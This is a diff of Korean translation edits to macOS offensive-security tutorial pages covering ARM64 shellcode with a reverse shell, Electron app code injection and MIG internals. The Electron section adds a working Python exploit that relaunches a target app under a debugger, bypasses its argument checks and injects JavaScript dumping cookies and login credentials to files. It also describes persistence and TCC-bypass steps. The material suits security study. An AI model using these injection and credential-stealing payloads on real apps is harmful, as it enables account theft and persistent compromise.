(lldb) po $x0
@ -369,9 +369,9 @@ whoami
)
```
> [!TIP]
> 환경 변수 **`NSObjCMessageLoggingEnabled=1`**를 설정하면 `/tmp/msgSends-pid`와 같은 파일에서 이 함수가 호출될 때 로그를 기록할 수 있습니다.
> 환경 변수를 **`NSObjCMessageLoggingEnabled=1`**로 설정하면 이 함수가 호출될 때 `/tmp/msgSends-pid`와 같은 파일에 로그를 남길 수 있습니다.
>
> 또한 **`OBJC_HELP=1`**을 설정하고 이진 파일을 호출하면 특정 Objc-C 작업이 발생할 때 **log**할 수 있는 다른 환경 변수를 볼 수 있습니다.
> 또한, **`OBJC_HELP=1`**을 설정하고 이진 파일을 호출하면 특정 Objc-C 작업이 발생할 때 **로그**를 남길 수 있는 다른 환경 변수를 볼 수 있습니다.
이 함수가 호출될 때, 지정된 인스턴스의 호출된 메서드를 찾아야 하며, 이를 위해 다양한 검색이 수행됩니다:
@ -388,7 +388,7 @@ whoami
- 성공하면 완료
- 슈퍼클래스 메서드 목록 시도:
- 발견되면, 캐시를 채우고 완료
- If (resolver) 메서드 리졸버 시도, 그리고 클래스 조회에서 반복
- If (resolver) 메서드 리졸버 시도, 클래스 조회에서 반복
- 여전히 여기 있으면 (= 모든 것이 실패했음) 포워더 시도
### Shellcodes
@ -408,7 +408,7 @@ for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ;
echo -n '\\x'$c
done
```
신형 macOS의 경우:
신형 macOS:
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
@ -417,7 +417,7 @@ done
```
<details>
<summary>쉘코드를 테스트하기 위한 C 코드</summary>
<summary>셸코드를 테스트하는 C 코드</summary>
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
@ -465,12 +465,12 @@ return 0;
```
</details>
#### 셸
#### Shell
[**여기**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s)에서 가져온 내용이며 설명됩니다.
[**여기**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s)에서 가져온 내용과 설명입니다.
{{#tabs}}
{{#tab name="adr 사용"}}
{{#tab name="with adr"}}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
@ -518,7 +518,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
```
{{#endtab}}
{{#tab name="리눅스를 위한 adr"}}
{{#tab name="with adr for linux"}}
```armasm
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
@ -693,7 +693,7 @@ mov x2, xzr
mov x16, #59
svc #0x1337
```
#### 리버스 셸
#### Reverse shell
From [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell to **127.0.0.1:4444**
```armasm

251
src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
View File

@ -13,7 +13,7 @@ Electron이 무엇인지 모른다면 [**여기에서 많은 정보를 찾을
- **`RunAsNode`**: 비활성화되면 코드 주입을 위해 환경 변수 **`ELECTRON_RUN_AS_NODE`**의 사용을 방지합니다.
- **`EnableNodeCliInspectArguments`**: 비활성화되면 `--inspect`, `--inspect-brk`와 같은 매개변수가 무시됩니다. 이를 통해 코드 주입을 피할 수 있습니다.
- **`EnableEmbeddedAsarIntegrityValidation`**: 활성화되면 로드된 **`asar`** **파일**이 macOS에 의해 **검증**됩니다. 이 파일의 내용을 수정하여 **코드 주입**을 방지합니다.
- **`EnableEmbeddedAsarIntegrityValidation`**: 활성화되면 로드된 **`asar`** **파일**이 macOS에 의해 **검증**됩니다. 이렇게 하면 이 파일의 내용을 수정하여 **코드 주입**을 방지할 수 있습니다.
- **`OnlyLoadAppFromAsar`**: 이 옵션이 활성화되면 다음 순서로 로드하는 대신: **`app.asar`**, **`app`** 및 마지막으로 **`default_app.asar`**. 오직 app.asar만 확인하고 사용하므로, **`embeddedAsarIntegrityValidation`** 퓨즈와 결합할 때 **검증되지 않은 코드를 로드하는 것이 불가능**합니다.
- **`LoadBrowserProcessSpecificV8Snapshot`**: 활성화되면 브라우저 프로세스는 `browser_v8_context_snapshot.bin`이라는 파일을 V8 스냅샷으로 사용합니다.
@ -23,7 +23,7 @@ Electron이 무엇인지 모른다면 [**여기에서 많은 정보를 찾을
### Checking Electron Fuses
응용 프로그램에서 **이 플래그를 확인할 수 있습니다**:
응용 프로그램에서 **이 플래그를 확인**할 수 있습니다:
```bash
npx @electron/fuses read --app /Applications/Slack.app
@ -46,25 +46,25 @@ In macOS applications this is typically in `application.app/Contents/Frameworks/
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
```
이 파일을 [https://hexed.it/](https://hexed.it/)에 로드하고 이전 문자열을 검색할 수 있습니다. 이 문자열 뒤에는 각 퓨즈가 비활성화되었는지 활성화되었는지를 나타내는 ASCII 숫자 "0" 또는 "1"이 표시됩니다. 헥스 코드를 수정하여(`0x30`은 `0`이고 `0x31`은 `1`) **퓨즈 값을 수정**할 수 있습니다.
이 파일을 [https://hexed.it/](https://hexed.it/)에서 열고 이전 문자열을 검색할 수 있습니다. 이 문자열 뒤에는 각 퓨즈가 비활성화되었는지 활성화되었는지를 나타내는 ASCII 숫자 "0" 또는 "1"이 표시됩니다. 헥스 코드를 수정하여 **퓨즈 값을 수정**할 수 있습니다 (`0x30`은 `0`이고 `0x31`은 `1`입니다).
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
**`Electron Framework`** 바이너리를 이러한 바이트로 수정하여 애플리케이션 내에서 **덮어쓰려** 하면 앱이 실행되지 않습니다.
이 바이트가 수정된 상태로 **`Electron Framework` 바이너리**를 애플리케이션 내에서 **덮어쓰려고** 하면 앱이 실행되지 않는다는 점에 유의하세요.
## RCE 전자 애플리케이션에 코드 추가
Electron 앱이 사용하는 **외부 JS/HTML 파일**이 있을 수 있으므로 공격자는 이러한 파일에 코드를 주입하여 서명이 확인되지 않고 앱의 컨텍스트에서 임의의 코드를 실행할 수 있습니다.
Electron 앱이 사용하는 **외부 JS/HTML 파일**이 있을 수 있으므로, 공격자는 이러한 파일에 코드를 주입하여 서명이 확인되지 않고 앱의 컨텍스트에서 임의의 코드를 실행할 수 있습니다.
> [!CAUTION]
> 그러나 현재 2가지 제한 사항이 있습니다:
>
> - 앱을 수정하려면 **`kTCCServiceSystemPolicyAppBundles`** 권한이 **필요**하므로 기본적으로 더 이상 가능하지 않습니다.
> - 컴파일된 **`asap`** 파일은 일반적으로 퓨즈 **`embeddedAsarIntegrityValidation`** `및` **`onlyLoadAppFromAsar`** `가 활성화되어 있습니다.`
> - 컴파일된 **`asap`** 파일은 일반적으로 **`embeddedAsarIntegrityValidation`** `및` **`onlyLoadAppFromAsar`**가 **활성화**되어 있습니다.
>
> 이로 인해 이 공격 경로가 더 복잡해지거나 불가능해집니다.
**`kTCCServiceSystemPolicyAppBundles`** 요구 사항을 우회하는 것이 가능하다는 점에 유의하십시오. 애플리케이션을 다른 디렉토리(예: **`/tmp`**)로 복사하고 폴더 **`app.app/Contents`**의 이름을 **`app.app/NotCon`**으로 바꾸고, **악성** 코드로 **asar** 파일을 **수정**한 후 다시 **`app.app/Contents`**로 이름을 바꾸고 실행할 수 있습니다.
**`kTCCServiceSystemPolicyAppBundles`** 요구 사항을 우회하는 것이 가능하다는 점에 유의하세요. 애플리케이션을 다른 디렉토리(예: **`/tmp`**)로 복사하고, 폴더 **`app.app/Contents`**의 이름을 **`app.app/NotCon`**으로 변경한 후, **악성** 코드로 **asar** 파일을 **수정**하고 다시 **`app.app/Contents`**로 이름을 바꾼 후 실행할 수 있습니다.
다음 명령어로 asar 파일에서 코드를 추출할 수 있습니다:
```bash
@ -74,7 +74,7 @@ npx asar extract app.asar app-decomp
```bash
npx asar pack app-decomp app-new.asar
```
## RCE with `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
## RCE with ELECTRON_RUN_AS_NODE
[**문서**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node)에 따르면, 이 환경 변수가 설정되면 프로세스가 일반 Node.js 프로세스로 시작됩니다.
```bash
@ -84,7 +84,7 @@ ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
```
> [!CAUTION]
> 만약 fuse **`RunAsNode`**가 비활성화되어 있다면 env var **`ELECTRON_RUN_AS_NODE`**는 무시되며, 이 방법은 작동하지 않습니다.
> 만약 fuse **`RunAsNode`**가 비활성화되어 있으면 env var **`ELECTRON_RUN_AS_NODE`**는 무시되며, 이 방법은 작동하지 않습니다.
### 앱 Plist에서의 주입
@ -114,7 +114,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
```
## RCE with `NODE_OPTIONS`
다른 파일에 페이로드를 저장하고 실행할 수 있습니다:
페이로드를 다른 파일에 저장하고 실행할 수 있습니다:
```bash
# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');
@ -154,12 +154,218 @@ According to [**this**](https://medium.com/@metnew/why-electron-apps-cant-store-
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
```
> [!CAUTION]
> 만약 퓨즈 **`EnableNodeCliInspectArguments`**가 비활성화되어 있다면, 앱은 **노드 매개변수**(예: `--inspect`)를 무시하고 실행되며, 환경 변수 **`ELECTRON_RUN_AS_NODE`**가 설정되지 않는 한 무시됩니다. 또한 퓨즈 **`RunAsNode`**가 비활성화되어 있으면 이 변수도 **무시됩니다**.
>
> 그러나 여전히 **electron 매개변수 `--remote-debugging-port=9229`**를 사용할 수 있지만, 이전 페이로드는 다른 프로세스를 실행하는 데 작동하지 않습니다.
In [**이 블로그 포스트**](https://hackerone.com/reports/1274695)에서, 이 디버깅은 헤드리스 크롬이 **임의의 파일을 임의의 위치에 다운로드**하도록 악용됩니다.
매개변수 **`--remote-debugging-port=9222`**를 사용하면 Electron 앱에서 **히스토리**(GET 명령어 사용)나 브라우저의 **쿠키**와 같은 정보를 훔칠 수 있습니다(브라우저 내에서 **복호화**되며, 이를 제공하는 **json 엔드포인트**가 있습니다).
> [!TIP]
> 앱이 `--inspect`와 같은 환경 변수나 매개변수를 확인하는 고유한 방법이 있다면, `--inspect-brk` 인수를 사용하여 런타임에서 이를 **우회**해 볼 수 있습니다. 이 인수는 앱의 시작 부분에서 **실행을 중지**하고 우회(예: 현재 프로세스의 인수나 환경 변수를 덮어쓰기)를 실행합니다.
다음은 `--inspect-brk` 매개변수로 앱을 모니터링하고 실행함으로써, 그 앱이 가진 사용자 정의 보호를 우회할 수 있었던 익스플로잇입니다(프로세스의 매개변수를 덮어써서 `--inspect-brk`를 제거) 그리고 그 후 JS 페이로드를 주입하여 앱에서 쿠키와 자격 증명을 덤프했습니다:
```python
import asyncio
import websockets
import json
import requests
import os
import psutil
from time import sleep
INSPECT_URL = None
CONT = 0
CONTEXT_ID = None
NAME = None
UNIQUE_ID = None
JS_PAYLOADS = """
var { webContents } = require('electron');
var fs = require('fs');
var wc = webContents.getAllWebContents()[0]
function writeToFile(filePath, content) {
const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2);
fs.writeFile(filePath, data, (err) => {
if (err) {
console.error(`Error writing to file ${filePath}:`, err);
} else {
console.log(`File written successfully at ${filePath}`);
}
});
}
function get_cookies() {
intervalIdCookies = setInterval(() => {
console.log("Checking cookies...");
wc.session.cookies.get({})
.then((cookies) => {
tokenCookie = cookies.find(cookie => cookie.name === "token");
if (tokenCookie){
writeToFile("/tmp/cookies.txt", cookies);
clearInterval(intervalIdCookies);
wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`);
}
})
}, 1000);
}
function get_creds() {
in_location = false;
intervalIdCreds = setInterval(() => {
if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) {
in_location = true;
console.log("Injecting creds logger...");
wc.executeJavaScript(`
(function() {
email = document.getElementById('login_email_id');
password = document.getElementById('login_password_id');
if (password && email) {
return email.value+":"+password.value;
}
})();
`).then(result => {
writeToFile("/tmp/victim_credentials.txt", result);
})
}
else if (in_location) {
wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`);
clearInterval(intervalIdCreds);
}
}, 10); // Check every 10ms
setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds
}
get_cookies();
get_creds();
console.log("Payloads injected");
"""
async def get_debugger_url():
"""
Fetch the local inspector's WebSocket URL from the JSON endpoint.
Assumes there's exactly one debug target.
"""
global INSPECT_URL
url = "http://127.0.0.1:9229/json"
response = requests.get(url)
data = response.json()
if not data:
raise RuntimeError("No debug targets found on port 9229.")
# data[0] should contain an object with "webSocketDebuggerUrl"
ws_url = data[0].get("webSocketDebuggerUrl")
if not ws_url:
raise RuntimeError("webSocketDebuggerUrl not found in inspector data.")
INSPECT_URL = ws_url
async def monitor_victim():
print("Monitoring victim process...")
found = False
while not found:
sleep(1) # Check every second
for process in psutil.process_iter(attrs=['pid', 'name']):
try:
# Check if the process name contains "victim"
if process.info['name'] and 'victim' in process.info['name']:
found = True
print(f"Found victim process (PID: {process.info['pid']}). Terminating...")
os.kill(process.info['pid'], 9) # Force kill the process
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
# Handle processes that might have terminated or are inaccessible
pass
os.system("open /Applications/victim.app --args --inspect-brk")
async def bypass_protections():
global CONTEXT_ID, NAME, UNIQUE_ID
print(f"Connecting to {INSPECT_URL} ...")
async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]
sleep(1)
await send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000})
await send_cmd(ws, "Profiler.enable")
await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False})
await send_cmd(ws, "Runtime.runIfWaitingForDebugger")
await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}})
code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']"""
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID})
print("Injected code to bypass protections")
async def js_payloads():
global CONT, CONTEXT_ID, NAME, UNIQUE_ID
print(f"Connecting to {INSPECT_URL} ...")
async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]
await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1})
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID})
async def main():
await monitor_victim()
sleep(3)
await get_debugger_url()
await bypass_protections()
sleep(7)
await js_payloads()
async def send_cmd(ws, method, get_first=False, params={}):
"""
Send a command to the inspector and read until we get a response with matching "id".
"""
global CONT
CONT += 1
# Send the command
await ws.send(json.dumps({"id": CONT, "method": method, "params": params}))
sleep(0.4)
# Read messages until we get our command result
while True:
response = await ws.recv()
data = json.loads(response)
# Print for debugging
print(f"[{method} / {CONT}] ->", data)
if get_first:
return data
# If this message is a response to our command (by matching "id"), break
if data.get("id") == CONT:
return data
# Otherwise it's an event or unrelated message; keep reading
if __name__ == "__main__":
asyncio.run(main())
```
> [!CAUTION]
> 만약 퓨즈 **`EnableNodeCliInspectArguments`**가 비활성화되어 있다면, 앱은 **노드 매개변수**(예: `--inspect`)를 무시하고 실행되며, 환경 변수 **`ELECTRON_RUN_AS_NODE`**가 설정되지 않는 한 무시됩니다. 또한 퓨즈 **`RunAsNode`**가 비활성화되어 있다면 이 변수도 **무시**됩니다.
>
> 그러나 **electron 매개변수 `--remote-debugging-port=9229`**를 사용하여 Electron 앱에서 **히스토리**(GET 명령어로)나 **브라우저의 쿠키**를 훔칠 수 있습니다(브라우저 내에서 **복호화**되며, 이를 제공하는 **json 엔드포인트**가 있습니다).
이 방법에 대해 배우려면 [**여기**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)와 [**여기**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)를 참조하고 자동 도구 [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) 또는 다음과 같은 간단한 스크립트를 사용할 수 있습니다:
```python
@ -169,11 +375,9 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
```
In [**this blogpost**](https://hackerone.com/reports/1274695), this debugging is abused to make a headless chrome **download arbitrary files in arbitrary locations**.
### Injection from the App Plist
이 env 변수를 plist에서 악용하여 지속성을 유지하기 위해 다음 키를 추가할 수 있습니다:
이 env 변수를 plist에서 악용하여 지속성을 유지할 수 있습니다. 다음 키를 추가하세요:
```xml
<dict>
<key>ProgramArguments</key>
@ -194,11 +398,13 @@ In [**this blogpost**](https://hackerone.com/reports/1274695), this debugging is
## 비 JS 코드 실행
이전 기술을 사용하면 **Electron 애플리케이션의 프로세스 내에서 JS 코드를 실행할 수 있습니다**. 그러나 **자식 프로세스는 부모 애플리케이션과 동일한 샌드박스 프로필에서 실행되며** TCC 권한을 **상속받습니다**.\
따라서 카메라나 마이크에 접근하기 위해 권한을 악용하고 싶다면, **프로세스에서 다른 바이너리를 실행하면 됩니다**.
이전 기술을 사용하면 **Electron 애플리케이션의 프로세스 내에서 JS 코드를 실행**할 수 있습니다. 그러나 **자식 프로세스는 부모 애플리케이션과 동일한 샌드박스 프로필에서 실행되며** **TCC 권한을 상속받습니다**.\
따라서 예를 들어 카메라나 마이크에 접근하기 위해 권한을 악용하고 싶다면, **프로세스에서 다른 바이너리를 실행하면 됩니다**.
## 자동 주입
- [**electroniz3r**](https://github.com/r3ggi/electroniz3r)
도구 [**electroniz3r**](https://github.com/r3ggi/electroniz3r)는 **취약한 Electron 애플리케이션**을 쉽게 찾아서 그 위에 코드를 주입하는 데 사용할 수 있습니다. 이 도구는 **`--inspect`** 기술을 사용하려고 시도합니다:
직접 컴파일해야 하며 다음과 같이 사용할 수 있습니다:
@ -237,6 +443,11 @@ You can now kill the app using `kill -9 57739`
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`
```
- [https://github.com/boku7/Loki](https://github.com/boku7/Loki)
Loki는 Electron 애플리케이션의 JavaScript 파일을 Loki Command & Control JavaScript 파일로 교체하여 백도어를 설계했습니다.
## References
- [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)

54
src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
View File

@ -4,9 +4,9 @@
## Basic Information
MIG는 **Mach IPC** 코드 생성을 단순화하기 위해 만들어졌습니다. 기본적으로 **서버와 클라이언트가 주어진 정의로 통신하기 위해 필요한 코드를 생성**합니다. 생성된 코드가 지저분하더라도, 개발자는 이를 가져오기만 하면 그의 코드는 이전보다 훨씬 간단해질 것입니다.
MIG는 **Mach IPC** 코드 생성을 단순화하기 위해 만들어졌습니다. 기본적으로 **서버와 클라이언트가 주어진 정의로 통신하기 위해 필요한 코드를 생성**합니다. 생성된 코드가 보기 좋지 않더라도, 개발자는 이를 가져오기만 하면 그의 코드는 이전보다 훨씬 간단해질 것입니다.
정의는 인터페이스 정의 언어(IDL)로 `.defs` 확장자를 사용하여 지정됩니다.
정의는 인터페이스 정의 언어(IDL)에서 `.defs` 확장자를 사용하여 지정됩니다.
이 정의는 5개의 섹션으로 구성됩니다:
@ -16,12 +16,12 @@ MIG는 **Mach IPC** 코드 생성을 단순화하기 위해 만들어졌습니
- \[i`n/out]tran`: 들어오는 메시지 또는 나가는 메시지로 변환해야 하는 함수
- `c[user/server]type`: 다른 C 타입에 매핑.
- `destructor`: 타입이 해제될 때 이 함수를 호출합니다.
- **작업**: 이는 RPC 메서드의 정의입니다. 5가지 유형이 있습니다:
- `routine`: 응답을 기대합니다
- `simpleroutine`: 응답을 기대하지 않습니다
- `procedure`: 응답을 기대합니다
- `simpleprocedure`: 응답을 기대하지 않습니다
- `function`: 응답을 기대합니다
- **작업**: RPC 메서드의 정의입니다. 5가지 유형이 있습니다:
- `routine`: 응답을 기대합니다.
- `simpleroutine`: 응답을 기대하지 않습니다.
- `procedure`: 응답을 기대합니다.
- `simpleprocedure`: 응답을 기대하지 않습니다.
- `function`: 응답을 기대합니다.
### Example
@ -40,13 +40,13 @@ server_port : mach_port_t;
n1 : uint32_t;
n2 : uint32_t);
```
첫 번째 **인자는 바인딩할 포트**이며 MIG는 **응답 포트를 자동으로 처리**합니다 (클라이언트 코드에서 `mig_get_reply_port()`를 호출하지 않는 한). 또한, **작업의 ID는** 지정된 서브시스템 ID부터 **순차적**으로 시작됩니다 (따라서 작업이 더 이상 사용되지 않는 경우 삭제되고 `skip`이 사용되어 여전히 해당 ID를 사용할 수 있습니다).
첫 번째 **인자는 바인딩할 포트**이며 MIG는 **응답 포트를 자동으로 처리**합니다(클라이언트 코드에서 `mig_get_reply_port()`를 호출하지 않는 한). 또한, **작업의 ID는** 지정된 서브시스템 ID부터 **순차적**으로 시작됩니다(작업이 더 이상 사용되지 않는 경우 삭제되고 `skip`이 사용되어 여전히 해당 ID를 사용할 수 있습니다).
이제 MIG를 사용하여 서로 통신할 수 있는 서버 및 클라이언트 코드를 생성하여 Subtract 함수를 호출하십시오:
```bash
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
```
현재 디렉토리에 여러 개의 새 파일이 생성됩니다.
현재 디렉토리에 여러 개의 새로운 파일이 생성됩니다.
> [!TIP]
> 시스템에서 더 복잡한 예제를 찾으려면: `mdfind mach_port.defs`\
@ -89,7 +89,7 @@ routine[1];
{{#endtab}}
{{#endtabs}}
이전 구조를 기반으로 함수 **`myipc_server_routine`**은 **메시지 ID**를 가져와 호출할 적절한 함수를 반환합니다:
이전 구조를 기반으로 함수 **`myipc_server_routine`**은 **메시지 ID**를 가져와서 호출할 적절한 함수를 반환합니다:
```c
mig_external mig_routine_t myipc_server_routine
(mach_msg_header_t *InHeadP)
@ -104,18 +104,18 @@ return 0;
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
}
```
이 예제에서는 정의에서 1개의 함수만 정의했지만, 더 많은 함수를 정의했다면, 그 함수들은 **`SERVERPREFmyipc_subsystem`** 배열 안에 위치했을 것이고, 첫 번째 함수는 ID **500**에, 두 번째 함수는 ID **501**에 할당되었을 것입니다...
이 예제에서는 정의에서 1개의 함수만 정의했지만, 더 많은 함수를 정의했다면, 그 함수들은 **`SERVERPREFmyipc_subsystem`** 배열 안에 위치했을 것이며, 첫 번째 함수는 ID **500**에, 두 번째 함수는 ID **501**에 할당되었을 것입니다...
함수가 **reply**를 보내는 것이 예상되었다면, 함수 `mig_internal kern_return_t __MIG_check__Reply__<name>`도 존재했을 것입니다.
함수가 **reply**를 보내야 한다면, 함수 `mig_internal kern_return_t __MIG_check__Reply__<name>`도 존재할 것입니다.
실제로 이 관계는 **`myipcServer.h`**의 구조체 **`subsystem_to_name_map_myipc`**에서 확인할 수 있습니다 (**`subsystem*to_name_map*\***`\*\* 다른 파일에서도).
실제로 이 관계는 **`myipcServer.h`**의 구조체 **`subsystem_to_name_map_myipc`**에서 확인할 수 있습니다 (**다른 파일에서는 **`subsystem*to_name_map*\*****로 표시됨):
```c
#ifndef subsystem_to_name_map_myipc
#define subsystem_to_name_map_myipc \
{ "Subtract", 500 }
#endif
```
마지막으로, 서버가 작동하기 위해 또 다른 중요한 기능은 **`myipc_server`**입니다. 이 기능은 실제로 수신된 ID와 관련된 **함수를 호출**합니다:
마지막으로, 서버가 작동하도록 하는 또 다른 중요한 기능은 **`myipc_server`**로, 이는 수신된 ID와 관련된 **함수를 호출하는** 역할을 합니다:
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
@ -151,7 +151,7 @@ return FALSE;
ID로 호출할 함수를 접근하는 이전에 강조된 줄을 확인하세요.
다음은 클라이언트가 서버에서 Subtract 함수를 호출할 수 있는 간단한 **서버**와 **클라이언트**를 만드는 코드입니다:
다음은 클라이언트가 서버에서 Subtract 함수를 호출할 수 있는 간단한 **서버** 및 **클라이언트**를 생성하는 코드입니다:
{{#tabs}}
{{#tab name="myipc_server.c"}}
@ -217,11 +217,11 @@ USERPREFSubtract(port, 40, 2);
### NDR_record
NDR_record는 `libsystem_kernel.dylib`에 의해 내보내지며, MIG가 **시스템에 독립적인 데이터를 변환할 수 있도록** 하는 구조체입니다. MIG는 서로 다른 시스템 간에 사용되도록 설계되었기 때문에 (단일 머신에서만 사용되는 것이 아닙니다).
NDR_record는 `libsystem_kernel.dylib`에 의해 내보내지며, MIG가 **시스템에 무관하게 데이터를 변환할 수 있도록** 하는 구조체입니다. MIG는 서로 다른 시스템 간에 사용되도록 설계되었기 때문에 (같은 머신에서만 사용되는 것이 아닙니다).
이것은 흥미로운데, 만약 `_NDR_record`가 이진 파일에서 의존성으로 발견된다면 (`jtool2 -S <binary> | grep NDR` 또는 `nm`), 이는 해당 이진 파일이 MIG 클라이언트 또는 서버임을 의미합니다.
게다가 **MIG 서버**는 `__DATA.__const`에 디스패치 테이블을 가지고 있습니다 (macOS 커널에서는 `__CONST.__constdata`, 다른 \*OS 커널에서는 `__DATA_CONST.__const`에 위치합니다). 이는 **`jtool2`**로 덤프할 수 있습니다.
게다가 **MIG 서버**는 `__DATA.__const`에 디스패치 테이블을 가지고 있습니다 (macOS 커널에서는 `__CONST.__constdata`, 다른 \*OS 커널에서는 `__DATA_CONST.__const`에 있습니다). 이는 **`jtool2`**로 덤프할 수 있습니다.
그리고 **MIG 클라이언트**는 `__mach_msg`를 사용하여 서버에 전송하기 위해 `__NDR_record`를 사용할 것입니다.
@ -249,7 +249,7 @@ jtool2 -d __DATA.__const myipc_server | grep BL
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
var_10 = arg0;
var_18 = arg1;
// 적절한 함수 포인터를 찾기 위한 초기 명령어
// 올바른 함수 포인터를 찾기 위한 초기 명령어
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
@ -258,13 +258,13 @@ var_18 = arg1;
*(int32_t *)(var_18 + 0x10) = 0x0;
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14);
// sign_extend_64 호출, 이 함수 식별에 도움이 될 수 있음
// 이는 rax에 호출해야 할 포인터를 저장함
// 주소 0x100004040 사용 확인 (함수 주소 배열)
// 이 함수를 식별하는 데 도움이 되는 sign_extend_64 호출
// 이는 호출해야 할 호출의 포인터를 rax에 저장합니다
// 주소 0x100004040(함수 주소 배열)의 사용을 확인합니다
// 0x1f4 = 500 (시작 ID)
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
</strong> var_20 = rax;
// if - else, if는 false를 반환하고, else는 올바른 함수를 호출하고 true를 반환함
// if - else, if는 false를 반환하고, else는 올바른 함수를 호출하고 true를 반환합니다
<strong> if (rax == 0x0) {
</strong> *(var_18 + 0x18) = **_NDR_record;
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
@ -297,7 +297,7 @@ saved_fp = r29;
stack[-8] = r30;
var_10 = arg0;
var_18 = arg1;
// 적절한 함수 포인터를 찾기 위한 초기 명령어
// 올바른 함수 포인터를 찾기 위한 초기 명령어
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
@ -333,14 +333,14 @@ r8 = 0x1;
}
}
// 이전 버전과 동일한 if else
// 주소 0x100004040 사용 확인 (함수 주소 배열)
// 주소 0x100004040(함수 주소 배열)의 사용을 확인합니다
